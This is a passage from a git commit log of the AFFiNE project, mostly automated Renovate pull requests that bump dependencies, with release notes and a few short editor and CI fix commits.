-   [`b19d809`](https://redirect.github.com/oxc-project/oxc/commit/b19d809) linter: Split `unicorn/prefer-spread` and `eslint/prefer-spread` into own rules ([#&#8203;8329](https://redirect.github.com/oxc-project/oxc/issues/8329)) (Alexander S.)
-   [`3c534ae`](https://redirect.github.com/oxc-project/oxc/commit/3c534ae) linter: Refactor `LintBuilder` to prep for nested configs ([#&#8203;8034](https://redirect.github.com/oxc-project/oxc/issues/8034)) (camc314)
-   [`2f9fab9`](https://redirect.github.com/oxc-project/oxc/commit/2f9fab9) linter: Remove remapping for plugin name in diagnostics ([#&#8203;8223](https://redirect.github.com/oxc-project/oxc/issues/8223)) (Alexander S.)

##### Testing

-   [`b6c1546`](https://redirect.github.com/oxc-project/oxc/commit/b6c1546) linter: Use plugin name instead of category for finding rule ([#&#8203;8353](https://redirect.github.com/oxc-project/oxc/issues/8353)) (Alexander S.)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-13 04:06:13 +00:00
github-actions[bot]
00b2362b03 chore(i18n): sync translations (#9534)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2025-01-13 03:02:24 +00:00
forehalo
5979907d96 fix(tools): always use posix for path resolving (#9627) 2025-01-13 02:40:13 +00:00
donteatfriedrice
5c4e87ddb5 feat(editor): support text highlight html adapter (#9632)
[BS-2061](https://linear.app/affine-design/issue/BS-2061/html-adapter-支持-text-highlight-样式)
2025-01-13 02:20:58 +00:00
renovate
76895e29d8 chore: Lock file maintenance (#9418)
This PR contains the following updates:

| Update | Change |
|---|---|
| lockFileMaintenance | All locks refreshed |

🔧 This Pull Request updates lock files to use the latest dependency versions.

---

### Configuration

📅 **Schedule**: Branch creation - "* 0-3 * * 1" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS44NS4wIiwidXBkYXRlZEluVmVyIjoiMzkuODUuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-11 14:06:26 +00:00
renovate
289c925f35 chore: bump up Rust crate notify to v8 (#9635)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [notify](https://redirect.github.com/notify-rs/notify) | workspace.dependencies | major | `7` -> `8` |

---

### Release Notes

<details>
<summary>notify-rs/notify (notify)</summary>

### [`v8.0.0`](https://redirect.github.com/notify-rs/notify/blob/HEAD/CHANGELOG.md#notify-800-2025-01-10)

[Compare Source](https://redirect.github.com/notify-rs/notify/compare/notify-7.0.0...notify-8.0.0)

-   CHANGE: update notify-types to version 2.0.0
-   CHANGE: raise MSRV to 1.77 **breaking**
-   FEATURE: add config option to disable following symbolic links [#&#8203;635]
-   FIX: unaligned access to FILE_NOTIFY_INFORMATION [#&#8203;647] **breaking**

[#&#8203;635]: https://redirect.github.com/notify-rs/notify/pull/635

[#&#8203;647]: https://redirect.github.com/notify-rs/notify/pull/647

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-11 13:50:07 +00:00
LongYinan
7f27500f04 ci: fix server build job (#9649) 2025-01-11 21:48:16 +08:00
Saul-Mirone
5b9256712e chore(editor): remove unused awareness slot (#9640) 2025-01-11 04:27:45 +00:00
Mirone
446b31b621 refactor(editor): rename job to transformer (#9639) 2025-01-11 12:04:07 +08:00
fundon
9fa35ed490 fix(editor): drag indicator flickering (#9636) 2025-01-11 03:15:07 +00:00
renovate
6de62ef7cf chore: bump up all non-major dependencies (#9598)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.723.0` -> `3.726.1`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.723.0/3.726.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.726.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.726.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.723.0/3.726.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.723.0/3.726.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@clack/core](https://redirect.github.com/natemoo-re/clack/tree/main/packages/core#readme) ([source](https://redirect.github.com/natemoo-re/clack/tree/HEAD/packages/core)) | [`0.4.0` -> `0.4.1`](https://renovatebot.com/diffs/npm/@clack%2fcore/0.4.0/0.4.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@clack%2fcore/0.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@clack%2fcore/0.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@clack%2fcore/0.4.0/0.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@clack%2fcore/0.4.0/0.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@clack/prompts](https://redirect.github.com/natemoo-re/clack/tree/main/packages/prompts#readme) ([source](https://redirect.github.com/natemoo-re/clack/tree/HEAD/packages/prompts)) | [`0.9.0` -> `0.9.1`](https://renovatebot.com/diffs/npm/@clack%2fprompts/0.9.0/0.9.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@clack%2fprompts/0.9.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@clack%2fprompts/0.9.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@clack%2fprompts/0.9.0/0.9.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@clack%2fprompts/0.9.0/0.9.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@eslint/js](https://eslint.org) ([source](https://redirect.github.com/eslint/eslint/tree/HEAD/packages/js)) | [`9.17.0` -> `9.18.0`](https://renovatebot.com/diffs/npm/@eslint%2fjs/9.17.0/9.18.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@eslint%2fjs/9.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@eslint%2fjs/9.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@eslint%2fjs/9.17.0/9.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@eslint%2fjs/9.17.0/9.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@sentry/esbuild-plugin](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/tree/main/packages/esbuild-plugin) ([source](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins)) | [`2.22.7` -> `2.23.0`](https://renovatebot.com/diffs/npm/@sentry%2fesbuild-plugin/2.22.7/2.23.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2fesbuild-plugin/2.23.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2fesbuild-plugin/2.23.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2fesbuild-plugin/2.22.7/2.23.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2fesbuild-plugin/2.22.7/2.23.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@sentry/webpack-plugin](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/tree/main/packages/webpack-plugin) ([source](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins)) | [`2.22.7` -> `2.23.0`](https://renovatebot.com/diffs/npm/@sentry%2fwebpack-plugin/2.22.7/2.23.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2fwebpack-plugin/2.23.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2fwebpack-plugin/2.23.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2fwebpack-plugin/2.22.7/2.23.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2fwebpack-plugin/2.22.7/2.23.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@smarttools/eslint-plugin-rxjs](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs) | [`1.0.13` -> `1.0.14`](https://renovatebot.com/diffs/npm/@smarttools%2feslint-plugin-rxjs/1.0.13/1.0.14) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@smarttools%2feslint-plugin-rxjs/1.0.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@smarttools%2feslint-plugin-rxjs/1.0.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@smarttools%2feslint-plugin-rxjs/1.0.13/1.0.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@smarttools%2feslint-plugin-rxjs/1.0.13/1.0.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@swc/core](https://swc.rs) ([source](https://redirect.github.com/swc-project/swc)) | [`1.10.6` -> `1.10.7`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.10.6/1.10.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@swc%2fcore/1.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@swc%2fcore/1.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@swc%2fcore/1.10.6/1.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@swc%2fcore/1.10.6/1.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [apollographql/apollo-ios](https://redirect.github.com/apollographql/apollo-ios) | `from: "1.15.3"` -> `from: "1.16.0"` | [![age](https://developer.mend.io/api/mc/badges/age/git-tags/https:%2f%2fgithub.com%2fapollographql%2fapollo-ios.git/1.16.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/git-tags/https:%2f%2fgithub.com%2fapollographql%2fapollo-ios.git/1.16.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/git-tags/https:%2f%2fgithub.com%2fapollographql%2fapollo-ios.git/1.15.3/1.16.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/git-tags/https:%2f%2fgithub.com%2fapollographql%2fapollo-ios.git/1.15.3/1.16.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | minor |
| [glob](https://redirect.github.com/isaacs/node-glob) | [`11.0.0` -> `11.0.1`](https://renovatebot.com/diffs/npm/glob/11.0.0/11.0.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/glob/11.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/glob/11.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/glob/11.0.0/11.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/glob/11.0.0/11.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`16.5.2` -> `16.5.3`](https://renovatebot.com/diffs/npm/happy-dom/16.5.2/16.5.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/16.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/16.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/16.5.2/16.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/16.5.2/16.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [html-validate](https://html-validate.org) ([source](https://gitlab.com/html-validate/html-validate)) | [`9.1.1` -> `9.1.3`](https://renovatebot.com/diffs/npm/html-validate/9.1.1/9.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/html-validate/9.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/html-validate/9.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/html-validate/9.1.1/9.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/html-validate/9.1.1/9.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [lucide-react](https://lucide.dev) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react)) | [`^0.469.0` -> `^0.471.0`](https://renovatebot.com/diffs/npm/lucide-react/0.469.0/0.471.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lucide-react/0.471.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lucide-react/0.471.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lucide-react/0.469.0/0.471.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lucide-react/0.469.0/0.471.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [openai](https://redirect.github.com/openai/openai-node) | [`4.77.4` -> `4.78.1`](https://renovatebot.com/diffs/npm/openai/4.77.4/4.78.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/openai/4.78.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/openai/4.78.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/openai/4.77.4/4.78.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/openai/4.77.4/4.78.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [thiserror](https://redirect.github.com/dtolnay/thiserror) | `2.0.10` -> `2.0.11` | [![age](https://developer.mend.io/api/mc/badges/age/crate/thiserror/2.0.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/thiserror/2.0.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/thiserror/2.0.10/2.0.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/thiserror/2.0.10/2.0.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [undici](https://undici.nodejs.org) ([source](https://redirect.github.com/nodejs/undici)) | [`7.2.0` -> `7.2.1`](https://renovatebot.com/diffs/npm/undici/7.2.0/7.2.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/undici/7.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/undici/7.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/undici/7.2.0/7.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/undici/7.2.0/7.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [uuid](https://redirect.github.com/uuidjs/uuid) | [`11.0.4` -> `11.0.5`](https://renovatebot.com/diffs/npm/uuid/11.0.4/11.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/uuid/11.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/uuid/11.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/uuid/11.0.4/11.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/uuid/11.0.4/11.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [wrangler](https://redirect.github.com/cloudflare/workers-sdk) ([source](https://redirect.github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler)) | [`3.100.0` -> `3.101.0`](https://renovatebot.com/diffs/npm/wrangler/3.100.0/3.101.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/wrangler/3.101.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/wrangler/3.101.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/wrangler/3.100.0/3.101.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/wrangler/3.100.0/3.101.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [com.android.tools.build:gradle](https://developer.android.com/studio/build) ([source](https://android.googlesource.com/platform/tools/base)) | `8.7.3` -> `8.8.0` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.android.tools.build:gradle/8.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.android.tools.build:gradle/8.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.android.tools.build:gradle/8.7.3/8.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.android.tools.build:gradle/8.7.3/8.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |

---

### Release Notes

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.726.1`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37261-2025-01-10)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.726.0...v3.726.1)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

### [`v3.726.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37260-2025-01-09)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.723.0...v3.726.0)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

</details>

<details>
<summary>natemoo-re/clack (@&#8203;clack/core)</summary>

### [`v0.4.1`](https://redirect.github.com/natemoo-re/clack/blob/HEAD/packages/core/CHANGELOG.md#041)

[Compare Source](https://redirect.github.com/natemoo-re/clack/compare/@clack/core@0.4.0...@clack/core@0.4.1)

##### Patch Changes

-   [`8093f3c`](https://redirect.github.com/natemoo-re/clack/commit/8093f3c): Adds `Error` support to the `validate` function
-   [`e5ba09a`](https://redirect.github.com/natemoo-re/clack/commit/e5ba09a): Fixes a cursor display bug in terminals that do not support the "hidden" escape sequence. See [Issue #&#8203;127](https://redirect.github.com/bombshell-dev/clack/issues/127).
-   [`8cba8e3`](https://redirect.github.com/natemoo-re/clack/commit/8cba8e3): Fixes a rendering bug with cursor positions for `TextPrompt`

</details>

<details>
<summary>natemoo-re/clack (@&#8203;clack/prompts)</summary>

### [`v0.9.1`](https://redirect.github.com/natemoo-re/clack/blob/HEAD/packages/prompts/CHANGELOG.md#091)

[Compare Source](https://redirect.github.com/natemoo-re/clack/compare/@clack/prompts@0.9.0...@clack/prompts@0.9.1)

##### Patch Changes

-   [`8093f3c`](https://redirect.github.com/natemoo-re/clack/commit/8093f3c): Adds `Error` support to the `validate` function
-   [`98925e3`](https://redirect.github.com/natemoo-re/clack/commit/98925e3): Exports the `Option` type and improves JSDocannotations
-   [`1904e57`](https://redirect.github.com/natemoo-re/clack/commit/1904e57): Replace custom utility for stripping ANSI control sequences with Node's built-in [`stripVTControlCharacters`](https://nodejs.org/docs/latest/api/util.html#utilstripvtcontrolcharactersstr) utility.
-   Updated dependencies \[[`8093f3c`](https://redirect.github.com/natemoo-re/clack/commit/8093f3c)]
-   Updated dependencies \[[`e5ba09a`](https://redirect.github.com/natemoo-re/clack/commit/e5ba09a)]
-   Updated dependencies \[[`8cba8e3`](https://redirect.github.com/natemoo-re/clack/commit/8cba8e3)]
    -   [@&#8203;clack/core](https://redirect.github.com/clack/core)[@&#8203;0](https://redirect.github.com/0).4.1

</details>

<details>
<summary>eslint/eslint (@&#8203;eslint/js)</summary>

### [`v9.18.0`](https://redirect.github.com/eslint/eslint/compare/v9.17.0...362099c580992b2602316fc417ce3e595b96f28c)

[Compare Source](https://redirect.github.com/eslint/eslint/compare/v9.17.0...v9.18.0)

</details>

<details>
<summary>getsentry/sentry-javascript-bundler-plugins (@&#8203;sentry/esbuild-plugin)</summary>

### [`v2.23.0`](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/blob/HEAD/CHANGELOG.md#2230)

[Compare Source](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/compare/2.22.7...2.23.0)

-   chore(deps): bump nanoid from 3.3.6 to 3.3.8 ([#&#8203;641](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/641))
-   feat(core): Detect Railway release name ([#&#8203;639](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/639))
-   feat(core): Write module injections to `globalThis` ([#&#8203;636](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/636))
-   feat(react-component-annotate): Allow skipping annotations on specified components ([#&#8203;617](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/617))
-   ref(core): Rename release management plugin name ([#&#8203;647](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/647))

Work in this release contributed by [@&#8203;conor-ob](https://redirect.github.com/conor-ob). Thank you for your contribution!

</details>

<details>
<summary>DaveMBush/eslint-plugin-rxjs (@&#8203;smarttools/eslint-plugin-rxjs)</summary>

### [`v1.0.14`](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/releases/tag/v1.0.14): 1.0.14 (2025-01-10)

[Compare Source](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/compare/v1.0.13...v1.0.14)

Rules should now work from ESM modules

</details>

<details>
<summary>swc-project/swc (@&#8203;swc/core)</summary>

### [`v1.10.7`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#1107---2025-01-10)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.6...v1.10.7)

##### Bug Fixes

-   **(ci/publish)** Do not tag stable if `onlyNightly` is on ([#&#8203;9863](https://redirect.github.com/swc-project/swc/issues/9863)) ([c0c6056](c0c60569e2))

-   **(es/minifier)** Improve DCE ([#&#8203;9853](https://redirect.github.com/swc-project/swc/issues/9853)) ([85fb16c](85fb16c3a2))

-   **(es/parser)** Fix context of dynamic import type ([#&#8203;9852](https://redirect.github.com/swc-project/swc/issues/9852)) ([caa7f37](caa7f370ff))

##### Documentation

-   Update the link to the team ([0fcdc31](0fcdc31435))

##### Features

-   **(ts/fast-strip)** Distinguish invalid vs unsupported ([#&#8203;9846](https://redirect.github.com/swc-project/swc/issues/9846)) ([5709bc2](5709bc2205))

##### Testing

-   **(parallel)** Add test to debug segfault on windows x64 ([#&#8203;9857](https://redirect.github.com/swc-project/swc/issues/9857)) ([ae53a35](ae53a359c3))

##### Build

-   Update `wasmer` to `v5.0.5-rc1` ([#&#8203;9860](https://redirect.github.com/swc-project/swc/issues/9860)) ([615ae93](615ae9302e))

</details>

<details>
<summary>apollographql/apollo-ios (apollographql/apollo-ios)</summary>

### [`v1.16.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1160)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.15.3...1.16.0)

##### New

-   **Added codegen config support for spm module type versions ([#&#8203;539](https://redirect.github.com/apollographql/apollo-ios-dev/pull/539)):** There is a [new codegen config option](https://www.apollographql.com/docs/ios/code-generation/codegen-configuration#swift-package) for supplying a version to the SPM module type to allow for pointing to specific branches or local versions of Apollo iOS.
-   **`@oneOf` input object support ([#&#8203;537](https://redirect.github.com/apollographql/apollo-ios-dev/pull/537)):** Adding support for `@OneOf` Input Objects, more info can be found in the official [RFC](https://redirect.github.com/graphql/graphql-spec/pull/825).

##### Improvements

-   **`URLRequest` cache policy default changed ([#&#8203;550](https://redirect.github.com/apollographql/apollo-ios-dev/pull/550)):** The updated default closer matches the original behaviour before the introduction of setting `URLRequest.CachePolicy`. *Thank you to [@&#8203;marksvend](https://redirect.github.com/marksvend) for raising the issue.*

##### Fixed

-   **`DataDict` initialization of `deferredFragments` property ([#&#8203;557](https://redirect.github.com/apollographql/apollo-ios-dev/pull/557)):** Generated selection set initializers were not correctly setting deferred fragment identifiers. This only affected selection sets that were instantiated with the generated selection set initializers, response-based results are unaffected.
-   **Multipart chunk content type ([#&#8203;572](https://redirect.github.com/apollographql/apollo-ios-dev/pull/572)):** Multipart response parsing would produce an error when the chunk content type contained more than one directive. *Thank you to [@&#8203;brettephillips](https://redirect.github.com/brettephillips) for raising the issue.*

</details>

<details>
<summary>isaacs/node-glob (glob)</summary>

### [`v11.0.1`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.0...148ef611eec9454201b1f2e81721e6fa00582043)

[Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.0...v11.0.1)

</details>

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v16.5.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.5.3)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.5.2...v16.5.3)

